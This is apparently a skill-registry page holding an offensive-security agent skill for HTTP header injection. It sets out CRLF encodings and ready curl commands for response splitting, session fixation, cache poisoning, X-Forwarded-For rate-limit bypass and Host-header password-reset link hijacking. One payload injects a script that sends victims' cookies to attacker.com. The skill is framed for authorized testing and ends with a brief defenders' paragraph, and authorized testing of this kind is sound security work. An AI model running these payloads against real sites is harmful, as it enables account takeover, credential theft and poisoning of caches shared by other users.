HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.mdHeader injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.
Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.
Location, Set-Cookie, Content-Type, Content-Disposition, Link, or custom X-* headersReferer, User-Agent, X-Forwarded-Host, correlation IDsHost headerLocation is derived from user inputX-Forwarded-Host or X-Forwarded-Proto is echoed into canonical URLsContent-Disposition: attachment; filename=<user_input> file-download endpointsThese are the characters and encodings to inject. Try each until one survives to the response header:
| Encoding | Value | Notes |
|---|---|---|
| URL bare LF | %0a | Most permissive servers |
| URL bare CR | %0d | Rarely effective alone |
| URL CRLF | %0d%0a | Classic; many filters strip this |
| Double-encoded | %250d%250a | Bypasses single-decode WAFs |
| Tab | %09 | RFC 7230 permits tab in field values; some parsers fold into preceding header |
| Null byte | %00 | Truncates value in some C-based parsers |
| Unicode LS/PS | %e2%80%a8 / %e2%80%a9 | U+2028/U+2029; some intermediaries fold to LF |
| Overlong UTF-8 CR | %c0%8d | Invalid per spec but accepted by some older parsers |
Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.
TARGET="https://<TARGET>"
# Basic CRLF probe — inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
| grep -iE "^< (set-cookie|location|http)"
# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
| grep -i "x-injected"Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.
PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.
# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.
The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.
# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie"
# Also try X-Forwarded-Host override (some proxies allow this to override Host)
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: target.com" \
-H "X-Forwarded-Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie"Win signal: An email arrives (check your inbox if testing your own account) with https://attacker.com/reset?token=... in the body.
If the app echoes Host or X-Forwarded-Host into response content (e.g., Open Graph tags, canonical links, JS config) but the CDN caches keyed only on URL:
# Step 1: Poison the cache with a malicious host
curl -sv "https://<TARGET>/" \
-H "X-Forwarded-Host: attacker.com" 2>&1 | grep -iE "(canonical|og:url|script src)"
# Step 2: Verify the cached response serves the poisoned content to a clean client
curl -s "https://<TARGET>/" | grep "attacker.com"
# If attacker.com appears, the cache was poisonedApplications that rate-limit or IP-allowlist based on X-Forwarded-For or X-Real-IP without validating the source (i.e., trusting the client-supplied header rather than the proxy-appended one):
# Bypass IP-based rate limit or allowlist
for i in $(seq 1 20); do
curl -s "${TARGET}/api/login" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"user":"admin","pass":"wrong"}' | python3 -m json.tool 2>/dev/null | grep -i "error\|remain\|limit"
done
# If the server never throttles, X-Forwarded-For spoofing bypasses the rate limiterWhen a file-download endpoint builds Content-Disposition: attachment; filename=<user_input>:
# Probe: inject CRLF into filename
curl -sv "${TARGET}/download?file=report.pdf%0d%0aContent-Type:%20text/html" 2>&1 \
| grep -i "content-type\|content-disposition"
# Probe: inject semicolon to override filename (header parameter smuggling)
curl -sv "${TARGET}/download?file=legit.pdf;%20filename=evil.html" 2>&1 \
| grep -i "content-disposition"Some apps respect X-HTTP-Method-Override or _method to allow clients to "override" the HTTP method. This can bypass method-specific auth checks:
# Attempt DELETE via POST with method override
curl -sv -X POST "${TARGET}/api/admin/users/2" \
-H "X-HTTP-Method-Override: DELETE" \
-H "Content-Type: application/json" \
-b basic.jar | head -5
curl -sv -X POST "${TARGET}/api/admin/users/2" \
-H "X-HTTP-Method-Override: PUT" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
-b basic.jar | head -5The core technique: find a header that affects the response body but is not included in the cache key.
# Probe which headers alter the response (vary the value, check body diff)
for hdr in "X-Forwarded-Host" "X-Forwarded-Proto" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Port" "X-Host" "Forwarded"; do
LEN=$(curl -s "${TARGET}/" -H "$hdr: canary-${RANDOM}" | wc -c)
BASELINE=$(curl -s "${TARGET}/" | wc -c)
echo "$hdr → body len $LEN (baseline $BASELINE)"
done
# Headers that change body length are reflected and potentially unkeyed# Send with a canary value
CANARY="poison-$(date +%s)"
curl -s "${TARGET}/" -H "X-Forwarded-Host: ${CANARY}.attacker.com" | grep -c "$CANARY"
# Output > 0: header is reflected
# Now fetch WITHOUT the header - if body still contains canary, it was cached
curl -s "${TARGET}/" | grep "$CANARY"
# Output > 0: cached! The cache doesn't key on X-Forwarded-Host.Set-Cookie, custom X-*) appears in the response without the \r\n being encodedX-HTTP-Method-Override on a POST endpoint succeeds with a basic-user tokenHost not used to build URLs (app uses a hardcoded base URL from config)Vary: X-Forwarded-Host explicitly (verify with Vary response header)X-Forwarded-For value overwritten by legitimate proxy before the rate-limiter reads itDefenders: strip or reject CR/LF in any user-controlled value that flows into a response header. Use a fixed BASE_URL config for password-reset link generation instead of trusting Host. Ensure CDN cache keys include any header that influences the response. Log and alert on X-Forwarded-For values containing internal IPs (127.0.0.1, 10.x, 172.16–31.x, 192.168.x).
./
├── header_injection_crlf_probe.txt # Raw response showing injected header
├── header_injection_host_reset.txt # Email/response proving reset link poisoning
├── header_injection_cache_poison.txt # Clean-fetch response containing canary
└── header_injection_summary.md # Technique, payload, evidence, impact0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.